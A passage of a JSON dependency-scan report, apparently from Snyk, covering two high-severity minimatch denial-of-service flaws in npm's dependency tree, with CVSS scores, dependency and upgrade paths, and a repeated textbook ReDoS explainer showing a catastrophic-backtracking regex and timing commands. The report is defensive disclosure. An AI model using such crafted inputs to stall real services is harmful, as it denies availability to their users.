it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", 